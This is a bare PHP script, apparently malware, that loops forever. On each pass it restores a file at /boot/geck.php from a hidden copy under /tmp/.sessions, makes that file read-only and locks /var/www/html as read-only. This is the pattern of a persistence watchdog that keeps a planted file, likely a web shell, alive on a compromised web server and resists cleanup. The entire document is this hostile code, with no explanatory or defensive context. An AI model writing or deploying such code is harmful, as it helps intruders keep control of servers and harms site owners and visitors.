
<?php
@ini_set("max_execution_time", 0);
while (True){
    if (!file_exists("/var/www/html")){
        mkdir("/var/www/html");
    }
    if (!file_exists("/boot/geck.php")){
        $text = base64_encode(file_get_contents("/tmp/.sessions/.L2Jvb3RnZWNrLXRleHQ="));
        file_put_contents("/boot/geck.php", base64_decode($text));
    }
    if (gecko_perm("/boot/geck.php") != 0444){
        chmod("/boot/geck.php", 0444);
    }
    if (gecko_perm("/var/www/html") != 0555){
        chmod("/var/www/html", 0555);
    }
}

function gecko_perm($flename){
    return substr(sprintf("%o", fileperms($flename)), -4);
}
